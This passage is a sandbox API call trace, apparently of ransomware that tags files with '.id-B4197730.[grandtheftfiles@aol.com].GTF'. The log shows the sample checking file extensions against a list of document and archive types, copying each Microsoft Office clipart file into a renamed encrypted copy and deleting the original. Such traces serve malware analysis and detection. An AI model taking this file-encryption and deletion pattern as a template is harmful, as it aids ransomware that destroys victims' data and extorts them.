	[0168.019] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.019] lstrlenW (lpString=".ppt") returned 4
	[0168.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.019] lstrlenW (lpString=".zip") returned 4
	[0168.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.019] lstrlenW (lpString=".rar") returned 4
	[0168.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString=".bz2") returned 4
	[0168.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString=".7z") returned 3
	[0168.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.019] lstrlenW (lpString=".dbf") returned 4
	[0168.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.019] lstrlenW (lpString=".1cd") returned 4
	[0168.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF") returned 68
	[0168.019] lstrlenW (lpString=".jpg") returned 4
	[0168.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.019] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.019] lstrlenW (lpString="J0107132.WMF") returned 12
	[0168.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.021] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=48380) returned 1
	[0168.021] CloseHandle (hObject=0x560) returned 1
	[0168.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 0x220
	[0168.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.021] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.021] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0168.022] GetLastError () returned 0x0
	[0168.022] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xbcfc, lpOverlapped=0x0) returned 1
	[0168.025] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xbd00, lpOverlapped=0x0) returned 1
	[0168.027] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.027] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.027] SetEndOfFile (hFile=0x528) returned 1
	[0168.028] CloseHandle (hObject=0x528) returned 1
	[0168.028] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.028] SetEndOfFile (hFile=0x560) returned 1
	[0168.031] CloseHandle (hObject=0x560) returned 1
	[0168.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf")) returned 1
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString=".doc") returned 4
	[0168.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString=".docx") returned 5
	[0168.033] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.033] lstrlenW (lpString=".pdf") returned 4
	[0168.033] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString=".xls") returned 4
	[0168.033] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.033] lstrlenW (lpString=".xlsx") returned 5
	[0168.033] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.033] lstrlenW (lpString=".ppt") returned 4
	[0168.033] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString=".zip") returned 4
	[0168.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.033] lstrlenW (lpString=".rar") returned 4
	[0168.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString=".bz2") returned 4
	[0168.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString=".7z") returned 3
	[0168.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString=".dbf") returned 4
	[0168.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString=".1cd") returned 4
	[0168.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.033] lstrlenW (lpString=".jpg") returned 4
	[0168.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString=".doc") returned 4
	[0168.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString=".docx") returned 5
	[0168.034] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0168.034] lstrlenW (lpString=".pdf") returned 4
	[0168.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString=".xls") returned 4
	[0168.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.034] lstrlenW (lpString=".xlsx") returned 5
	[0168.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0168.034] lstrlenW (lpString=".ppt") returned 4
	[0168.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString=".zip") returned 4
	[0168.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.034] lstrlenW (lpString=".rar") returned 4
	[0168.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString=".bz2") returned 4
	[0168.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString=".7z") returned 3
	[0168.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString=".dbf") returned 4
	[0168.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString=".1cd") returned 4
	[0168.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF") returned 68
	[0168.034] lstrlenW (lpString=".jpg") returned 4
	[0168.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.035] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.035] lstrlenW (lpString="J0107134.WMF") returned 12
	[0168.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.035] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=48388) returned 1
	[0168.035] CloseHandle (hObject=0x560) returned 1
	[0168.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 0x220
	[0168.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0168.036] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.036] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0168.037] GetLastError () returned 0x0
	[0168.037] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xbd04, lpOverlapped=0x0) returned 1
	[0168.040] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xbd10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xbd10, lpOverlapped=0x0) returned 1
	[0168.041] ReadFile (in: hFile=0x560, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.041] WriteFile (in: hFile=0x528, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.042] SetEndOfFile (hFile=0x528) returned 1
	[0168.042] CloseHandle (hObject=0x528) returned 1
	[0168.042] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.042] SetEndOfFile (hFile=0x560) returned 1
	[0168.430] CloseHandle (hObject=0x560) returned 1
	[0168.430] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf")) returned 1
	[0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.431] lstrlenW (lpString=".doc") returned 4
	[0168.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.431] lstrlenW (lpString=".docx") returned 5
	[0168.431] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.431] lstrlenW (lpString=".pdf") returned 4
	[0168.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.431] lstrlenW (lpString=".xls") returned 4
	[0168.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.432] lstrlenW (lpString=".xlsx") returned 5
	[0168.432] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.432] lstrlenW (lpString=".ppt") returned 4
	[0168.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString=".zip") returned 4
	[0168.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.432] lstrlenW (lpString=".rar") returned 4
	[0168.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString=".bz2") returned 4
	[0168.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString=".7z") returned 3
	[0168.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString=".dbf") returned 4
	[0168.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString=".1cd") returned 4
	[0168.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString=".jpg") returned 4
	[0168.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.432] lstrlenW (lpString=".doc") returned 4
	[0168.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.432] lstrlenW (lpString=".docx") returned 5
	[0168.432] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.432] lstrlenW (lpString=".pdf") returned 4
	[0168.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString=".xls") returned 4
	[0168.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.433] lstrlenW (lpString=".xlsx") returned 5
	[0168.433] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.433] lstrlenW (lpString=".ppt") returned 4
	[0168.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.433] lstrlenW (lpString=".zip") returned 4
	[0168.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.433] lstrlenW (lpString=".rar") returned 4
	[0168.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString=".bz2") returned 4
	[0168.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString=".7z") returned 3
	[0168.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.433] lstrlenW (lpString=".dbf") returned 4
	[0168.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.433] lstrlenW (lpString=".1cd") returned 4
	[0168.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF") returned 68
	[0168.433] lstrlenW (lpString=".jpg") returned 4
	[0168.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.758] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0168.758] lstrlenW (lpString="J0107264.WMF") returned 12
	[0168.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.759] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5272) returned 1
	[0168.759] CloseHandle (hObject=0x45c) returned 1
	[0168.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220
	[0168.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0168.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0168.760] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.760] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0168.761] GetLastError () returned 0x0
	[0168.761] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1498, lpOverlapped=0x0) returned 1
	[0168.763] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0168.763] ReadFile (in: hFile=0x45c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.764] WriteFile (in: hFile=0x550, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.764] SetEndOfFile (hFile=0x550) returned 1
	[0168.764] CloseHandle (hObject=0x550) returned 1
	[0168.764] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.764] SetEndOfFile (hFile=0x45c) returned 1
	[0168.766] CloseHandle (hObject=0x45c) returned 1
	[0168.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0168.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1
	[0168.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.767] lstrlenW (lpString=".doc") returned 4
	[0168.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString=".docx") returned 5
	[0168.768] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.768] lstrlenW (lpString=".pdf") returned 4
	[0168.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString=".xls") returned 4
	[0168.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.768] lstrlenW (lpString=".xlsx") returned 5
	[0168.768] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0168.768] lstrlenW (lpString=".ppt") returned 4
	[0168.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString=".zip") returned 4
	[0168.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0168.768] lstrlenW (lpString=".rar") returned 4
	[0168.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString=".bz2") returned 4
	[0168.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString=".7z") returned 3
	[0168.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString=".dbf") returned 4
	[0168.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString=".1cd") returned 4
	[0168.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString=".jpg") returned 4
	[0168.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68
	[0168.768] lstrlenW (lpString=".doc") returned 4
	[0168.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0168.768] lstrlenW (lpString=".docx") returned 5
	[0168.769] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0168.769] lstrlenW (lpString=".pdf") returned 4
	[0168.769] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0168.769] lstrlenW (lpString=".xls") returned 4
	[0168.769] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0168.769] lstrlenW (lpString=".xlsx") returned 5
